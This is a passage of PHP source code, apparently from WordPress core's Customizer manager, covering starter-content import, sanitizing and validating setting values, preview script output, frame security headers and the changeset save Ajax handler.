'/^{{(?P<symbol>.+)}}$/', $posts[ $post_symbol ]['thumbnail'], $matches ) && isset( $attachment_ids[ $matches['symbol'] ] ) ) { $posts[ $post_symbol ]['meta_input']['_thumbnail_id'] = $attachment_ids[ $matches['symbol'] ]; } if ( ! empty( $posts[ $post_symbol ]['template'] ) ) { $posts[ $post_symbol ]['meta_input']['_wp_page_template'] = $posts[ $post_symbol ]['template']; } $r = $this->nav_menus->insert_auto_draft_post( $posts[ $post_symbol ] ); if ( $r instanceof WP_Post ) { $posts[ $post_symbol ]['ID'] = $r->ID; } } $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, wp_list_pluck( $posts, 'ID' ) ); } // The nav_menus_created_posts setting is why nav_menus component is dependency for adding posts. if ( ! empty( $this->nav_menus ) && ! empty( $starter_content_auto_draft_post_ids ) ) { $setting_id = 'nav_menus_created_posts'; $this->set_post_value( $setting_id, array_unique( array_values( $starter_content_auto_draft_post_ids ) ) ); $this->pending_starter_content_settings_ids[] = $setting_id; } // Nav menus. $placeholder_id = -1; $reused_nav_menu_setting_ids = array(); foreach ( $nav_menus as $nav_menu_location => $nav_menu ) { $nav_menu_term_id = null; $nav_menu_setting_id = null; $matches = array(); // Look for an existing placeholder menu with starter content to re-use. foreach ( $changeset_data as $setting_id => $setting_params ) { $can_reuse = ( ! empty( $setting_params['starter_content'] ) && ! in_array( $setting_id, $reused_nav_menu_setting_ids, true ) && preg_match( '#^nav_menu\[(?P<nav_menu_id>-?\d+)\]$#', $setting_id, $matches ) ); if ( $can_reuse ) { $nav_menu_term_id = (int) $matches['nav_menu_id']; $nav_menu_setting_id = $setting_id; $reused_nav_menu_setting_ids[] = $setting_id; break; } } if ( ! $nav_menu_term_id ) { while ( isset( $changeset_data[ sprintf( 'nav_menu[%d]', $placeholder_id ) ] ) ) { $placeholder_id--; } $nav_menu_term_id = $placeholder_id; $nav_menu_setting_id = sprintf( 'nav_menu[%d]', $placeholder_id ); } $this->set_post_value( $nav_menu_setting_id, array( 'name' => isset( $nav_menu['name'] ) ? $nav_menu['name'] : $nav_menu_location, ) ); $this->pending_starter_content_settings_ids[] = $nav_menu_setting_id; // @todo Add support for menu_item_parent. $position = 0; foreach ( $nav_menu['items'] as $nav_menu_item ) { $nav_menu_item_setting_id = sprintf( 'nav_menu_item[%d]', $placeholder_id-- ); if ( ! isset( $nav_menu_item['position'] ) ) { $nav_menu_item['position'] = $position++; } $nav_menu_item['nav_menu_term_id'] = $nav_menu_term_id; if ( isset( $nav_menu_item['object_id'] ) ) { if ( 'post_type' === $nav_menu_item['type'] && preg_match( '/^{{(?P<symbol>.+)}}$/', $nav_menu_item['object_id'], $matches ) && isset( $posts[ $matches['symbol'] ] ) ) { $nav_menu_item['object_id'] = $posts[ $matches['symbol'] ]['ID']; if ( empty( $nav_menu_item['title'] ) ) { $original_object = get_post( $nav_menu_item['object_id'] ); $nav_menu_item['title'] = $original_object->post_title; } } else { continue; } } else { $nav_menu_item['object_id'] = 0; } if ( empty( $changeset_data[ $nav_menu_item_setting_id ] ) || ! empty( $changeset_data[ $nav_menu_item_setting_id ]['starter_content'] ) ) { $this->set_post_value( $nav_menu_item_setting_id, $nav_menu_item ); $this->pending_starter_content_settings_ids[] = $nav_menu_item_setting_id; } } $setting_id = sprintf( 'nav_menu_locations[%s]', $nav_menu_location ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $nav_menu_term_id ); $this->pending_starter_content_settings_ids[] = $setting_id; } } // Options. foreach ( $options as $name => $value ) { // Serialize the value to check for post symbols. $value = maybe_serialize( $value ); if ( is_serialized( $value ) ) { if ( preg_match( '/s:\d+:"{{(?P<symbol>.+)}}"/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $symbol_match = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $symbol_match = $attachment_ids[ $matches['symbol'] ]; } // If we have any symbol matches, update the values. if ( isset( $symbol_match ) ) { // Replace found string matches with post IDs. $value = str_replace( $matches[0], "i:{$symbol_match}", $value ); } else { continue; } } } elseif ( preg_match( '/^{{(?P<symbol>.+)}}$/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $value = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $value = $attachment_ids[ $matches['symbol'] ]; } else { continue; } } // Unserialize values after checking for post symbols, so they can be properly referenced. $value = maybe_unserialize( $value ); if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) { $this->set_post_value( $name, $value ); $this->pending_starter_content_settings_ids[] = $name; } } // Theme mods. foreach ( $theme_mods as $name => $value ) { // Serialize the value to check for post symbols. $value = maybe_serialize( $value ); // Check if value was serialized. if ( is_serialized( $value ) ) { if ( preg_match( '/s:\d+:"{{(?P<symbol>.+)}}"/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $symbol_match = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $symbol_match = $attachment_ids[ $matches['symbol'] ]; } // If we have any symbol matches, update the values. if ( isset( $symbol_match ) ) { // Replace found string matches with post IDs. $value = str_replace( $matches[0], "i:{$symbol_match}", $value ); } else { continue; } } } elseif ( preg_match( '/^{{(?P<symbol>.+)}}$/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $value = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $value = $attachment_ids[ $matches['symbol'] ]; } else { continue; } } // Unserialize values after checking for post symbols, so they can be properly referenced. $value = maybe_unserialize( $value ); // Handle header image as special case since setting has a legacy format. if ( 'header_image' === $name ) { $name = 'header_image_data'; $metadata = wp_get_attachment_metadata( $value ); if ( empty( $metadata ) ) { continue; } $value = array( 'attachment_id' => $value, 'url' => wp_get_attachment_url( $value ), 'height' => $metadata['height'], 'width' => $metadata['width'], ); } elseif ( 'background_image' === $name ) { $value = wp_get_attachment_url( $value ); } if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) { $this->set_post_value( $name, $value ); $this->pending_starter_content_settings_ids[] = $name; } } if ( ! empty( $this->pending_starter_content_settings_ids ) ) { if ( did_action( 'customize_register' ) ) { $this->_save_starter_content_changeset(); } else { add_action( 'customize_register', array( $this, '_save_starter_content_changeset' ), 1000 ); } } } /** * Prepare starter content attachments. * * Ensure that the attachments are valid and that they have slugs and file name/path. * * @since 4.7.0 * * @param array $attachments Attachments. * @return array Prepared attachments. */ protected function prepare_starter_content_attachments( $attachments ) { $prepared_attachments = array(); if ( empty( $attachments ) ) { return $prepared_attachments; } // Such is The WordPress Way. require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; foreach ( $attachments as $symbol => $attachment ) { // A file is required and URLs to files are not currently allowed. if ( empty( $attachment['file'] ) || preg_match( '#^https?://$#', $attachment['file'] ) ) { continue; } $file_path = null; if ( file_exists( $attachment['file'] ) ) { $file_path = $attachment['file']; // Could be absolute path to file in plugin. } elseif ( is_child_theme() && file_exists( get_stylesheet_directory() . '/' . $attachment['file'] ) ) { $file_path = get_stylesheet_directory() . '/' . $attachment['file']; } elseif ( file_exists( get_template_directory() . '/' . $attachment['file'] ) ) { $file_path = get_template_directory() . '/' . $attachment['file']; } else { continue; } $file_name = wp_basename( $attachment['file'] ); // Skip file types that are not recognized. $checked_filetype = wp_check_filetype( $file_name ); if ( empty( $checked_filetype['type'] ) ) { continue; } // Ensure post_name is set since not automatically derived from post_title for new auto-draft posts. if ( empty( $attachment['post_name'] ) ) { if ( ! empty( $attachment['post_title'] ) ) { $attachment['post_name'] = sanitize_title( $attachment['post_title'] ); } else { $attachment['post_name'] = sanitize_title( preg_replace( '/\.\w+$/', '', $file_name ) ); } } $attachment['file_name'] = $file_name; $attachment['file_path'] = $file_path; $prepared_attachments[ $symbol ] = $attachment; } return $prepared_attachments; } /** * Save starter content changeset. * * @since 4.7.0 */ public function _save_starter_content_changeset() { if ( empty( $this->pending_starter_content_settings_ids ) ) { return; } $this->save_changeset_post( array( 'data' => array_fill_keys( $this->pending_starter_content_settings_ids, array( 'starter_content' => true ) ), 'starter_content' => true, ) ); $this->saved_starter_content_changeset = true; $this->pending_starter_content_settings_ids = array(); } /** * Get dirty pre-sanitized setting values in the current customized state. * * The returned array consists of a merge of three sources: * 1. If the theme is not currently active, then the base array is any stashed * theme mods that were modified previously but never published. * 2. The values from the current changeset, if it exists. * 3. If the user can customize, the values parsed from the incoming * `$_POST['customized']` JSON data. * 4. Any programmatically-set post values via `WP_Customize_Manager::set_post_value()`. * * The name "unsanitized_post_values" is a carry-over from when the customized * state was exclusively sourced from `$_POST['customized']`. Nevertheless, * the value returned will come from the current changeset post and from the * incoming post data. * * @since 4.1.1 * @since 4.7.0 Added `$args` parameter and merging with changeset values and stashed theme mods. * * @param array $args { * Args. * * @type bool $exclude_changeset Whether the changeset values should also be excluded. Defaults to false. * @type bool $exclude_post_data Whether the post input values should also be excluded. Defaults to false when lacking the customize capability. * } * @return array */ public function unsanitized_post_values( $args = array() ) { $args = array_merge( array( 'exclude_changeset' => false, 'exclude_post_data' => ! current_user_can( 'customize' ), ), $args ); $values = array(); // Let default values be from the stashed theme mods if doing a theme switch and if no changeset is present. if ( ! $this->is_theme_active() ) { $stashed_theme_mods = get_option( 'customize_stashed_theme_mods' ); $stylesheet = $this->get_stylesheet(); if ( isset( $stashed_theme_mods[ $stylesheet ] ) ) { $values = array_merge( $values, wp_list_pluck( $stashed_theme_mods[ $stylesheet ], 'value' ) ); } } if ( ! $args['exclude_changeset'] ) { foreach ( $this->changeset_data() as $setting_id => $setting_params ) { if ( ! array_key_exists( 'value', $setting_params ) ) { continue; } if ( isset( $setting_params['type'] ) && 'theme_mod' === $setting_params['type'] ) { // Ensure that theme mods values are only used if they were saved under the current theme. $namespace_pattern = '/^(?P<stylesheet>.+?)::(?P<setting_id>.+)$/'; if ( preg_match( $namespace_pattern, $setting_id, $matches ) && $this->get_stylesheet() === $matches['stylesheet'] ) { $values[ $matches['setting_id'] ] = $setting_params['value']; } } else { $values[ $setting_id ] = $setting_params['value']; } } } if ( ! $args['exclude_post_data'] ) { if ( ! isset( $this->_post_values ) ) { if ( isset( $_POST['customized'] ) ) { $post_values = json_decode( wp_unslash( $_POST['customized'] ), true ); } else { $post_values = array(); } if ( is_array( $post_values ) ) { $this->_post_values = $post_values; } else { $this->_post_values = array(); } } $values = array_merge( $values, $this->_post_values ); } return $values; } /** * Returns the sanitized value for a given setting from the current customized state. * * The name "post_value" is a carry-over from when the customized state was exclusively * sourced from `$_POST['customized']`. Nevertheless, the value returned will come * from the current changeset post and from the incoming post data. * * @since 3.4.0 * @since 4.1.1 Introduced the `$default` parameter. * @since 4.6.0 `$default` is now returned early when the setting post value is invalid. * * @see WP_REST_Server::dispatch() * @see WP_REST_Request::sanitize_params() * @see WP_REST_Request::has_valid_params() * * @param WP_Customize_Setting $setting A WP_Customize_Setting derived object. * @param mixed $default Value returned $setting has no post value (added in 4.2.0) * or the post value is invalid (added in 4.6.0). * @return string|mixed Sanitized value or the $default provided. */ public function post_value( $setting, $default = null ) { $post_values = $this->unsanitized_post_values(); if ( ! array_key_exists( $setting->id, $post_values ) ) { return $default; } $value = $post_values[ $setting->id ]; $valid = $setting->validate( $value ); if ( is_wp_error( $valid ) ) { return $default; } $value = $setting->sanitize( $value ); if ( is_null( $value ) || is_wp_error( $value ) ) { return $default; } return $value; } /** * Override a setting's value in the current customized state. * * The name "post_value" is a carry-over from when the customized state was * exclusively sourced from `$_POST['customized']`. * * @since 4.2.0 * * @param string $setting_id ID for the WP_Customize_Setting instance. * @param mixed $value Post value. */ public function set_post_value( $setting_id, $value ) { $this->unsanitized_post_values(); // Populate _post_values from $_POST['customized']. $this->_post_values[ $setting_id ] = $value; /** * Announce when a specific setting's unsanitized post value has been set. * * Fires when the WP_Customize_Manager::set_post_value() method is called. * * The dynamic portion of the hook name, `$setting_id`, refers to the setting ID. * * @since 4.4.0 * * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( "customize_post_value_set_{$setting_id}", $value, $this ); /** * Announce when any setting's unsanitized post value has been set. * * Fires when the WP_Customize_Manager::set_post_value() method is called. * * This is useful for `WP_Customize_Setting` instances to watch * in order to update a cached previewed value. * * @since 4.4.0 * * @param string $setting_id Setting ID. * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_post_value_set', $setting_id, $value, $this ); } /** * Print JavaScript settings. * * @since 3.4.0 */ public function customize_preview_init() { /* * Now that Customizer previews are loaded into iframes via GET requests * and natural URLs with transaction UUIDs added, we need to ensure that * the responses are never cached by proxies. In practice, this will not * be needed if the user is logged-in anyway. But if anonymous access is * allowed then the auth cookies would not be sent and WordPress would * not send no-cache headers by default. */ if ( ! headers_sent() ) { nocache_headers(); header( 'X-Robots: noindex, nofollow, noarchive' ); } add_filter( 'wp_robots', 'wp_robots_no_robots' ); add_filter( 'wp_headers', array( $this, 'filter_iframe_security_headers' ) ); /* * If preview is being served inside the customizer preview iframe, and * if the user doesn't have customize capability, then it is assumed * that the user's session has expired and they need to re-authenticate. */ if ( $this->messenger_channel && ! current_user_can( 'customize' ) ) { $this->wp_die( -1, sprintf( /* translators: %s: customize_messenger_channel */ __( 'Unauthorized. You may remove the %s param to preview as frontend.' ), '<code>customize_messenger_channel<code>' ) ); return; } $this->prepare_controls(); add_filter( 'wp_redirect', array( $this, 'add_state_query_params' ) ); wp_enqueue_script( 'customize-preview' ); wp_enqueue_style( 'customize-preview' ); add_action( 'wp_head', array( $this, 'customize_preview_loading_style' ) ); add_action( 'wp_head', array( $this, 'remove_frameless_preview_messenger_channel' ) ); add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 ); add_filter( 'get_edit_post_link', '__return_empty_string' ); /** * Fires once the Customizer preview has initialized and JavaScript * settings have been printed. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_preview_init', $this ); } /** * Filters the X-Frame-Options and Content-Security-Policy headers to ensure frontend can load in customizer. * * @since 4.7.0 * * @param array $headers Headers. * @return array Headers. */ public function filter_iframe_security_headers( $headers ) { $headers['X-Frame-Options'] = 'SAMEORIGIN'; $headers['Content-Security-Policy'] = "frame-ancestors 'self'"; return $headers; } /** * Add customize state query params to a given URL if preview is allowed. * * @since 4.7.0 * * @see wp_redirect() * @see WP_Customize_Manager::get_allowed_url() * * @param string $url URL. * @return string URL. */ public function add_state_query_params( $url ) { $parsed_original_url = wp_parse_url( $url ); $is_allowed = false; foreach ( $this->get_allowed_urls() as $allowed_url ) { $parsed_allowed_url = wp_parse_url( $allowed_url ); $is_allowed = ( $parsed_allowed_url['scheme'] === $parsed_original_url['scheme'] && $parsed_allowed_url['host'] === $parsed_original_url['host'] && 0 === strpos( $parsed_original_url['path'], $parsed_allowed_url['path'] ) ); if ( $is_allowed ) { break; } } if ( $is_allowed ) { $query_params = array( 'customize_changeset_uuid' => $this->changeset_uuid(), ); if ( ! $this->is_theme_active() ) { $query_params['customize_theme'] = $this->get_stylesheet(); } if ( $this->messenger_channel ) { $query_params['customize_messenger_channel'] = $this->messenger_channel; } $url = add_query_arg( $query_params, $url ); } return $url; } /** * Prevent sending a 404 status when returning the response for the customize * preview, since it causes the jQuery Ajax to fail. Send 200 instead. * * @since 4.0.0 * @deprecated 4.7.0 */ public function customize_preview_override_404_status() { _deprecated_function( __METHOD__, '4.7.0' ); } /** * Print base element for preview frame. * * @since 3.4.0 * @deprecated 4.7.0 */ public function customize_preview_base() { _deprecated_function( __METHOD__, '4.7.0' ); } /** * Print a workaround to handle HTML5 tags in IE < 9. * * @since 3.4.0 * @deprecated 4.7.0 Customizer no longer supports IE8, so all supported browsers recognize HTML5. */ public function customize_preview_html5() { _deprecated_function( __FUNCTION__, '4.7.0' ); } /** * Print CSS for loading indicators for the Customizer preview. * * @since 4.2.0 */ public function customize_preview_loading_style() { ?> <style> body.wp-customizer-unloading { opacity: 0.25; cursor: progress !important; -webkit-transition: opacity 0.5s; transition: opacity 0.5s; } body.wp-customizer-unloading * { pointer-events: none !important; } form.customize-unpreviewable, form.customize-unpreviewable input, form.customize-unpreviewable select, form.customize-unpreviewable button, a.customize-unpreviewable, area.customize-unpreviewable { cursor: not-allowed !important; } </style> <?php } /** * Remove customize_messenger_channel query parameter from the preview window when it is not in an iframe. * * This ensures that the admin bar will be shown. It also ensures that link navigation will * work as expected since the parent frame is not being sent the URL to navigate to. * * @since 4.7.0 */ public function remove_frameless_preview_messenger_channel() { if ( ! $this->messenger_channel ) { return; } ?> <script> ( function() { var urlParser, oldQueryParams, newQueryParams, i; if ( parent !== window ) { return; } urlParser = document.createElement( 'a' ); urlParser.href = location.href; oldQueryParams = urlParser.search.substr( 1 ).split( /&/ ); newQueryParams = []; for ( i = 0; i < oldQueryParams.length; i += 1 ) { if ( ! /^customize_messenger_channel=/.test( oldQueryParams[ i ] ) ) { newQueryParams.push( oldQueryParams[ i ] ); } } urlParser.search = newQueryParams.join( '&' ); if ( urlParser.search !== location.search ) { location.replace( urlParser.href ); } } )(); </script> <?php } /** * Print JavaScript settings for preview frame. * * @since 3.4.0 */ public function customize_preview_settings() { $post_values = $this->unsanitized_post_values( array( 'exclude_changeset' => true ) ); $setting_validities = $this->validate_setting_values( $post_values ); $exported_setting_validities = array_map( array( $this, 'prepare_setting_validity_for_js' ), $setting_validities ); // Note that the REQUEST_URI is not passed into home_url() since this breaks subdirectory installations. $self_url = empty( $_SERVER['REQUEST_URI'] ) ? home_url( '/' ) : esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ); $state_query_params = array( 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', ); $self_url = remove_query_arg( $state_query_params, $self_url ); $allowed_urls = $this->get_allowed_urls(); $allowed_hosts = array(); foreach ( $allowed_urls as $allowed_url ) { $parsed = wp_parse_url( $allowed_url ); if ( empty( $parsed['host'] ) ) { continue; } $host = $parsed['host']; if ( ! empty( $parsed['port'] ) ) { $host .= ':' . $parsed['port']; } $allowed_hosts[] = $host; } $switched_locale = switch_to_locale( get_user_locale() ); $l10n = array( 'shiftClickToEdit' => __( 'Shift-click to edit this element.' ), 'linkUnpreviewable' => __( 'This link is not live-previewable.' ), 'formUnpreviewable' => __( 'This form is not live-previewable.' ), ); if ( $switched_locale ) { restore_previous_locale(); } $settings = array( 'changeset' => array( 'uuid' => $this->changeset_uuid(), 'autosaved' => $this->autosaved(), ), 'timeouts' => array( 'selectiveRefresh' => 250, 'keepAliveSend' => 1000, ), 'theme' => array( 'stylesheet' => $this->get_stylesheet(), 'active' => $this->is_theme_active(), ), 'url' => array( 'self' => $self_url, 'allowed' => array_map( 'esc_url_raw', $this->get_allowed_urls() ), 'allowedHosts' => array_unique( $allowed_hosts ), 'isCrossDomain' => $this->is_cross_domain(), ), 'channel' => $this->messenger_channel, 'activePanels' => array(), 'activeSections' => array(), 'activeControls' => array(), 'settingValidities' => $exported_setting_validities, 'nonce' => current_user_can( 'customize' ) ? $this->get_nonces() : array(), 'l10n' => $l10n, '_dirty' => array_keys( $post_values ), ); foreach ( $this->panels as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['activePanels'][ $panel_id ] = $panel->active(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $section_id ] = $section->active(); } } } } foreach ( $this->sections as $id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $id ] = $section->active(); } } foreach ( $this->controls as $id => $control ) { if ( $control->check_capabilities() ) { $settings['activeControls'][ $id ] = $control->active(); } } ?> <script type="text/javascript"> var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>; _wpCustomizeSettings.values = {}; (function( v ) { <?php /* * Serialize settings separately from the initial _wpCustomizeSettings * serialization in order to avoid a peak memory usage spike. * @todo We may not even need to export the values at all since the pane syncs them anyway. */ foreach ( $this->settings as $id => $setting ) { if ( $setting->check_capabilities() ) { printf( "v[%s] = %s;\n", wp_json_encode( $id ), wp_json_encode( $setting->js_value() ) ); } } ?> })( _wpCustomizeSettings.values ); </script> <?php } /** * Prints a signature so we can ensure the Customizer was properly executed. * * @since 3.4.0 * @deprecated 4.7.0 */ public function customize_preview_signature() { _deprecated_function( __METHOD__, '4.7.0' ); } /** * Removes the signature in case we experience a case where the Customizer was not properly executed. * * @since 3.4.0 * @deprecated 4.7.0 * * @param mixed $return Value passed through for {@see 'wp_die_handler'} filter. * @return mixed Value passed through for {@see 'wp_die_handler'} filter. */ public function remove_preview_signature( $return = null ) { _deprecated_function( __METHOD__, '4.7.0' ); return $return; } /** * Is it a theme preview? * * @since 3.4.0 * * @return bool True if it's a preview, false if not. */ public function is_preview() { return (bool) $this->previewing; } /** * Retrieve the template name of the previewed theme. * * @since 3.4.0 * * @return string Template name. */ public function get_template() { return $this->theme()->get_template(); } /** * Retrieve the stylesheet name of the previewed theme. * * @since 3.4.0 * * @return string Stylesheet name. */ public function get_stylesheet() { return $this->theme()->get_stylesheet(); } /** * Retrieve the template root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_template_root() { return get_raw_theme_root( $this->get_template(), true ); } /** * Retrieve the stylesheet root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_stylesheet_root() { return get_raw_theme_root( $this->get_stylesheet(), true ); } /** * Filters the current theme and return the name of the previewed theme. * * @since 3.4.0 * * @param mixed $current_theme {@internal Parameter is not used} * @return string Theme name. */ public function current_theme( $current_theme ) { return $this->theme()->display( 'Name' ); } /** * Validates setting values. * * Validation is skipped for unregistered settings or for values that are * already null since they will be skipped anyway. Sanitization is applied * to values that pass validation, and values that become null or `WP_Error` * after sanitizing are marked invalid. * * @since 4.6.0 * * @see WP_REST_Request::has_valid_params() * @see WP_Customize_Setting::validate() * * @param array $setting_values Mapping of setting IDs to values to validate and sanitize. * @param array $options { * Options. * * @type bool $validate_existence Whether a setting's existence will be checked. * @type bool $validate_capability Whether the setting capability will be checked. * } * @return array Mapping of setting IDs to return value of validate method calls, either `true` or `WP_Error`. */ public function validate_setting_values( $setting_values, $options = array() ) { $options = wp_parse_args( $options, array( 'validate_capability' => false, 'validate_existence' => false, ) ); $validities = array(); foreach ( $setting_values as $setting_id => $unsanitized_value ) { $setting = $this->get_setting( $setting_id ); if ( ! $setting ) { if ( $options['validate_existence'] ) { $validities[ $setting_id ] = new WP_Error( 'unrecognized', __( 'Setting does not exist or is unrecognized.' ) ); } continue; } if ( $options['validate_capability'] && ! current_user_can( $setting->capability ) ) { $validity = new WP_Error( 'unauthorized', __( 'Unauthorized to modify setting due to capability.' ) ); } else { if ( is_null( $unsanitized_value ) ) { continue; } $validity = $setting->validate( $unsanitized_value ); } if ( ! is_wp_error( $validity ) ) { /** This filter is documented in wp-includes/class-wp-customize-setting.php */ $late_validity = apply_filters( "customize_validate_{$setting->id}", new WP_Error(), $unsanitized_value, $setting ); if ( is_wp_error( $late_validity ) && $late_validity->has_errors() ) { $validity = $late_validity; } } if ( ! is_wp_error( $validity ) ) { $value = $setting->sanitize( $unsanitized_value ); if ( is_null( $value ) ) { $validity = false; } elseif ( is_wp_error( $value ) ) { $validity = $value; } } if ( false === $validity ) { $validity = new WP_Error( 'invalid_value', __( 'Invalid value.' ) ); } $validities[ $setting_id ] = $validity; } return $validities; } /** * Prepares setting validity for exporting to the client (JS). * * Converts `WP_Error` instance into array suitable for passing into the * `wp.customize.Notification` JS model. * * @since 4.6.0 * * @param true|WP_Error $validity Setting validity. * @return true|array If `$validity` was a WP_Error, the error codes will be array-mapped * to their respective `message` and `data` to pass into the * `wp.customize.Notification` JS model. */ public function prepare_setting_validity_for_js( $validity ) { if ( is_wp_error( $validity ) ) { $notification = array(); foreach ( $validity->errors as $error_code => $error_messages ) { $notification[ $error_code ] = array( 'message' => implode( ' ', $error_messages ), 'data' => $validity->get_error_data( $error_code ), ); } return $notification; } else { return true; } } /** * Handle customize_save WP Ajax request to save/update a changeset. * * @since 3.4.0 * @since 4.7.0 The semantics of this method have changed to update a changeset, optionally to also change the status and other attributes. */ public function save() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated' ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } $action = 'save-customize_' . $this->get_stylesheet(); if ( ! check_ajax_referer( $action, 'nonce', false ) ) { wp_send_json_error( 'invalid_nonce' ); } $changeset_post_id = $this->changeset_post_id(); $is_new_changeset = empty( $changeset_post_id ); if ( $is_new_changeset ) { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->create_posts ) ) { wp_send_json_error( 'cannot_create_changeset_post' ); } } else { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { wp_send_json_error( 'cannot_edit_changeset_post' ); } } if ( ! empty( $_POST['customize_changeset_data'] ) ) { $input_changeset_data = json_decode( wp_unslash( $_POST['customize_changeset_data'] ), true ); if ( ! is_array( $input_changeset_data ) ) { wp_send_json_error( 'invalid_customize_changeset_data' ); } } else { $input_changeset_data = array(); } // Validate title. $changeset_title = null; if ( isset( $_POST['customize_changeset_title'] ) ) { $changeset_title = sanitize_text_field( wp_unslash( $_POST['customize_changeset_title'] ) ); } // Validate changeset status param. $is_publish = null; $changeset_status = null; if ( isset( $_POST['customize_changeset_status'] ) ) { $changeset_status = wp_unslash( $_POST['customize_changeset_status'] ); if ( ! get_post_status_object( $changeset_status ) || ! in_array( $changeset_status, array( 'draft', 'pending', 'publish', 'future' ), true ) ) { wp_send_json_error( 'bad_customize_changeset_status', 400 ); } $is_publish = ( 'publish' === $changeset_status || 'future' === $changeset_status ); if ( $is_publish && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts ) ) { wp_send_json_error( 'changeset_publish_unauthorized', 403 ); } } /* * Validate changeset date param. Date is assumed to be in local time for * the WP if in MySQL format (YYYY-MM-DD HH:MM:SS). Otherwise, the date * is parsed with strtotime() so that ISO date format may be supplied * or a string like "+10 minutes". */ $changeset_date_gmt = null; if ( isset( $_POST['customize_changeset_date'] ) ) { $changeset_date = wp_unslash( $_POST['customize_changeset_date'] ); if ( preg_match( '/^\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d$/', $changeset_date ) ) { $mm = substr( $changeset_date, 5, 2 ); $jj = substr( $changeset_date, 8, 2 ); $aa = substr( $changeset_date, 0, 4 ); $valid_date = wp_checkdate( $mm, $jj, $aa, $changeset_date ); if ( ! $valid_date ) { wp_send_json_error( 'bad_customize_changeset_date', 400 ); } $changeset_date_gmt = get_gmt_from_date( $changeset_date ); } else { $timestamp = strtotime( $changeset_date ); if ( ! $timestamp ) { wp_send_json_error( 'bad_customize_changeset_date', 400 ); } $changeset_date_gmt = gmdate( 'Y-m-d H:i:s', $timestamp ); } } $lock_user_id = null; $autosave = ! empty( $_POST['customize_changeset_autosave'] ); if ( ! $is_new_changeset ) { $lock_user_id = wp_check_post_lock( $this->changeset_post_id() ); } // Force request to autosave when changeset is locked. if ( $lock_user_id && ! $autosave ) { $autosave = true; $changeset_status = null; $changeset_date_gmt = null; } if ( $autosave && ! defined( 'DOING_AUTOSAVE' ) ) { // Back-compat. define( 'DOING_AUTOSAVE', true ); } $autosaved = false; $r = $this->save_changeset_post( array( 'status' => $changeset_status, 'title' => $changeset_title, 'date_gmt' => $changeset_date_gmt, 'data' => $input_changeset_data, 'autosave' => $autosave, ) ); if ( $autosave && ! is_wp_error( $r ) ) { $autosaved = true; } // If the changeset was locked and an autosave request wasn't itself an error, then now explicitly return with a failure. if ( $lock_user_id && ! is_wp_error( $r ) ) { $r = new WP_Error( 'changeset_locked', __( 'Changeset is being edited by other user.' ), array( 'lock_user' => $this->get_lock_user_data( $lock_user_id ), ) ); } if ( is_wp_error( $r ) ) { $response = array( 'message' => $r->get_error_message(), 'code' => $r->get_error_code(), ); if ( is_array( $r->get_error_data() ) ) { $response = array_merge( $response, $r->get_error_data() ); } else { $response['data'] = $r->get_error_data(); } } else { $response = $r; $changeset_post = get_post( $this->changeset_post_id() ); // Dismiss all other auto-draft changeset posts for this user (they serve like autosave revisions), as there should only be one. if ( $is_new_changeset ) { $this->dismiss_user_auto_draft_changesets(); } // Note that if the changeset status was publish, then it will get set to Trash if revisions are not supported. $response['changeset_status'] = $changeset_post->post_status; if ( $is_publish && 'trash' === $response['changeset_status'] ) { $response['changeset_status'] = 'publish'; } if ( 'publish' !== $response['changeset_status'] ) { $this->set_changeset_lock( $changeset_post->ID ); } if ( 'future' === $response['changeset_status'] ) { $response['changeset_date'] = $changeset_post->post_date; } if ( 'publish' === $response['changeset_status'] || 'trash' === $response['changeset_status'] ) { $response['next_changeset_uuid'] = wp_generate_uuid4(); } } if ( $autosave ) { $response['autosaved'] = $autosaved; } if ( isset( $response['setting_validities'] ) ) { $response['setting_validities'] = array_map( array( $this, 'prepare_setting_validity_for_js' ), $response['setting_validities'] ); } /** * Filters response data for a successful customize_save Ajax request. * * This filter does not apply if there was a nonce or authentication failure. * * @since 4.2.0 * * @param array $response Additional information passed back to the 'saved' * event on `wp.customize`. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $response = apply_filters( 'customize_save_response', $response, $this ); if ( is_wp_error( $r ) ) { 